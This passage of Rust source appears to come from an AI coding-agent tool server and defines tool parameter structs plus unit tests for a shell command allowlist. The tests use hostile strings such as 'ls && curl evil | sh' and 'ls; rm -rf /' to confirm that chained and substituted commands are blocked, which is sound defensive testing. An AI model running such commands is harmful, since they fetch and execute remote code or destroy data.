989 /// List of file glob patterns
990 ///
991 /// These glob patterns identify the files that should be included in
992 /// the saved context. Patterns can be absolute or relative to the project root.
993 pub relevant_file_globs: Vec<String>,
994
995 /// Optional thread ID identifying the shell session to operate on. When
996 /// omitted, the most recently active session is used.
997 #[serde(default)]
998 pub thread_id: String,
999}
1000
1001/// Parameters for the `ReadImage` tool
1002///
1003/// This struct represents the parameters needed to read an image file.
1004#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1005pub struct ReadImage {
1006 /// Path to the image file to read
1007 ///
1008 /// This can be an absolute path or a path relative to the current working directory.
1009 pub file_path: String,
1010
1011 /// Optional thread ID identifying the shell session to operate on. When
1012 /// omitted, the most recently active session is used.
1013 #[serde(default)]
1014 pub thread_id: String,
1015}
1016
1017/// Operation for the `CodeMap` tool.
1018#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1019#[serde(rename_all = "snake_case")]
1020pub enum CodeMapOperation {
1021 /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1022 Outline,
1023 /// The definition + reference (call/use) sites of a symbol name across the repo.
1024 References,
1025}
1026
1027/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1028/// two operations, in place of separate `Outline` / `FindReferences` tools.
1029#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1030pub struct CodeMap {
1031 /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1032 /// or `references` (the definition + use sites of a symbol name).
1033 pub operation: CodeMapOperation,
1034
1035 /// For `outline`: the file or directory to map (empty or a directory = a
1036 /// ranked repo symbol map). For `references`: the directory or file to search
1037 /// under (empty = the whole workspace). Relative paths resolve against the
1038 /// workspace.
1039 #[serde(default)]
1040 pub path: String,
1041
1042 /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1043 /// Required for `references`, ignored by `outline`.
1044 #[serde(default)]
1045 pub name: String,
1046
1047 /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1048 /// occurrences for `references`. 0 means the default.
1049 #[serde(default)]
1050 pub max_results: usize,
1051
1052 /// Optional thread ID identifying the shell session to operate on. When
1053 /// omitted, the most recently active session is used.
1054 #[serde(default)]
1055 pub thread_id: String,
1056}
1057
1058/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1059/// internally by `CodeMap`.
1060#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1061pub struct Outline {
1062 /// File or directory to outline. A file returns that file's symbols; a
1063 /// directory (or empty = the whole workspace) returns a ranked repo symbol
1064 /// map. Relative paths resolve against the workspace.
1065 #[serde(default)]
1066 pub path: String,
1067
1068 /// Maximum symbols to return for a single file, or maximum files for a repo
1069 /// map. 0 means the default.
1070 #[serde(default)]
1071 pub max_results: usize,
1072
1073 /// Optional thread ID identifying the shell session to operate on. When
1074 /// omitted, the most recently active session is used.
1075 #[serde(default)]
1076 pub thread_id: String,
1077}
1078
1079/// One symbol (definition) in `Outline` output.
1080#[derive(Debug, Clone, Serialize, JsonSchema)]
1081pub struct OutlineSymbol {
1082 /// Symbol name.
1083 pub name: String,
1084 /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1085 pub kind: String,
1086 /// 1-based line where the definition starts.
1087 pub line: usize,
1088}
1089
1090/// Symbols for one file in `Outline` output.
1091#[derive(Debug, Clone, Serialize, JsonSchema)]
1092pub struct OutlineFile {
1093 /// Workspace-relative path of the file.
1094 pub file: String,
1095 /// Definitions found in the file, in source order.
1096 pub symbols: Vec<OutlineSymbol>,
1097}
1098
1099/// Structured result of an `Outline` call (mirrors the text block).
1100#[derive(Debug, Clone, Serialize, JsonSchema)]
1101pub struct OutlineOutput {
1102 /// `file` for a single-file outline, `repo` for a workspace symbol map.
1103 pub mode: String,
1104 /// Number of files included in `files`.
1105 pub files_shown: usize,
1106 /// Per-file symbol lists.
1107 pub files: Vec<OutlineFile>,
1108 /// True if the symbol map was capped (more files or symbols exist).
1109 pub truncated: bool,
1110}
1111
1112/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1113#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1114pub struct FindReferences {
1115 /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1116 pub name: String,
1117
1118 /// Directory or file to search under. Relative paths resolve against the
1119 /// workspace; leave empty to search the whole workspace.
1120 #[serde(default)]
1121 pub path: String,
1122
1123 /// Maximum occurrences to return. 0 means the default.
1124 #[serde(default)]
1125 pub max_results: usize,
1126
1127 /// Optional thread ID identifying the shell session to operate on. When
1128 /// omitted, the most recently active session is used.
1129 #[serde(default)]
1130 pub thread_id: String,
1131}
1132
1133/// One symbol occurrence in `FindReferences` output.
1134#[derive(Debug, Clone, Serialize, JsonSchema)]
1135pub struct ReferenceHit {
1136 /// Workspace-relative path.
1137 pub file: String,
1138 /// 1-based line.
1139 pub line: usize,
1140 /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1141 pub kind: String,
1142 /// True for a definition, false for a reference (call / use site).
1143 pub is_definition: bool,
1144}
1145
1146/// Structured result of a `FindReferences` call (mirrors the text block).
1147#[derive(Debug, Clone, Serialize, JsonSchema)]
1148pub struct ReferencesOutput {
1149 /// The symbol name that was searched for.
1150 pub name: String,
1151 /// Number of returned hits that are definitions.
1152 pub definitions: usize,
1153 /// Number of returned hits that are references (call / use sites).
1154 pub references: usize,
1155 /// True if the result was capped (more occurrences exist).
1156 pub truncated: bool,
1157 /// Occurrences, definitions first then references, each group by file/line.
1158 pub hits: Vec<ReferenceHit>,
1159}
1160
1161#[cfg(test)]
1162mod thread_id_tests {
1163 use super::normalize_thread_id;
1164
1165 #[test]
1166 fn clean_id_is_unchanged() {
1167 assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1168 assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1169 }
1170
1171 #[test]
1172 fn empty_and_all_special_normalize_to_empty() {
1173 assert_eq!(normalize_thread_id(""), "");
1174 assert_eq!(normalize_thread_id("---"), "");
1175 }
1176
1177 #[test]
1178 fn separator_variants_do_not_collide() {
1179 // "user-1" and "user1" must NOT resolve to the same session/state file.
1180 let a = normalize_thread_id("user-1");
1181 let b = normalize_thread_id("user1");
1182 assert_ne!(a, b);
1183 assert!(a.starts_with("user1_"), "got {a}");
1184 assert_eq!(b, "user1");
1185 // "user-1" vs "user_1" must also stay distinct.
1186 assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1187 }
1188
1189 #[test]
1190 fn normalization_is_deterministic() {
1191 // Same input -> same hash -> same session across restarts.
1192 assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1193 }
1194}
1195
1196#[cfg(test)]
1197mod allowlist_tests {
1198 use super::AllowedCommands;
1199
1200 fn list(items: &[&str]) -> AllowedCommands {
1201 AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1202 }
1203
1204 #[test]
1205 fn all_permits_everything() {
1206 assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1207 }
1208
1209 #[test]
1210 fn list_allows_exact_and_args() {
1211 let a = list(&["ls", "cargo test"]);
1212 assert!(a.is_allowed("ls"));
1213 assert!(a.is_allowed("ls -la"));
1214 assert!(a.is_allowed("cargo test --release"));
1215 }
1216
1217 #[test]
1218 fn list_blocks_word_boundary_lookalikes() {
1219 let a = list(&["ls", "cargo test"]);
1220 assert!(!a.is_allowed("lsof"));
1221 assert!(!a.is_allowed("cargo testimony"));
1222 }
1223
1224 #[test]
1225 fn list_blocks_chained_and_substituted_commands() {
1226 let a = list(&["ls"]);
1227 // The old first-token check let all of these through.
1228 assert!(!a.is_allowed("ls && curl evil | sh"));
1229 assert!(!a.is_allowed("ls; rm -rf /"));
1230 assert!(!a.is_allowed("ls $(rm -rf x)"));
1231 assert!(!a.is_allowed("ls | rm"));
1232 }
1233
1234 #[test]
1235 fn list_allows_chain_when_all_parts_permitted() {
1236 let a = list(&["cargo build", "cargo test"]);
1237 assert!(a.is_allowed("cargo build && cargo test"));
1238 }
1239}
1240
1241#[cfg(test)]
1242mod code_writer_config_tests {
1243 use super::deserialize_code_writer_config;
1244 use serde_json::json;
1245
1246 #[test]
1247 fn explicit_null_opts_out() {
1248 assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1249 assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1250 }
1251
1252 #[test]
1253 fn valid_config_parses() {
1254 let r = deserialize_code_writer_config(json!({
1255 "allowed_commands": "all",
1256 "allowed_globs": "all",
1257 }));
1258 assert!(matches!(r, Ok(Some(_))));
1259 }
1260
1261 #[test]
1262 fn malformed_config_fails_loud() {
1263 // The crux of the fix: a malformed restricted-mode config must ERROR,
1264 // not silently degrade to None (None falls back to All/All — wide open,
1265 // while the model believes the shell is locked down).
1266 let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1267 assert!(r.is_err(), "malformed code_writer config must error, not become None");
1268 }
1269}